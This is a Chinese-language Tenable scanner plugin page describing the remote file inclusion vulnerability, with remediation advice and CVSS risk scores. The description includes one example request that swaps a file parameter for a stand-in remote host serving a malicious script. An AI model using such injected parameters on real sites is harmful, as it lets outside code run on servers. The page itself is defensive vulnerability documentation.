远程文件包含

critical Web App Scanning 插件 ID 98126

简介

远程文件包含

描述

Web 应用程序偶尔会使用参数值来存储服务器稍后所需的文件位置。

此问题的一个示例常见于错误页面,其中错误页面的实际文件路径存储在参数值中,例如 `example.com/error.php?page=404.php`。

当参数值(即服务器调用的文件的路径)可用远程资源的地址替换时,会发生远程文件包含,例如:`yoursite.com/error.asp?page=http://anothersite.com/somethingBad.php`

在某些情况下,服务器会处理所获取的资源;因此,如果资源包含与所使用框架(ASP、PHP、JSP 等)的代码匹配的服务器端代码,则可能会像在 Web 应用程序中一样执行该资源。

扫描程序发现可以用外部资源替换参数值,并使服务器获取该值并将其内容包括在响应中。

解决方案

建议切勿使用不受信任的数据形成要包含的文件位置。
为了验证数据,应用程序应确保允许为文件提供的值。这可通过将参数值与允许的文件列表匹配来执行白名单来实现。如果提供的值与白名单中的任何值均不匹配,则服务器应重定向到标准错误页面。
在某些请求动态内容的情况下,可能无法对受信任资源列表执行验证,因此该列表也必须变为动态(随文件变更而更新),或执行筛选以删除无关的用户输入(例如分号、句点等),且仅允许 `a-z0-9`。
还建议您不要将敏感文件存储在 Web 根目录中,而且目录强制执行的用户权限是正确的。

另见

http://en.wikipedia.org/wiki/Remote_File_Inclusion

http://projects.webappsec.org/Remote-File-Inclusion

插件详情

严重性: Critical

ID: 98126

类型: remote

发布时间: 2017/3/31

最近更新时间: 2023/7/13

扫描模板: api, full, pci, scan

风险信息

VPR

风险因素: High

分数: 8.4

CVSS v2

风险因素: Critical

基本分数: 10

矢量: CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS 分数来源: Tenable

CVSS v3

风险因素: Critical

基本分数: 9.8

矢量: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS 分数来源: Tenable

CVSS v4

风险因素: Critical

Base Score: 9.3

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS 分数来源: Tenable

参考资料信息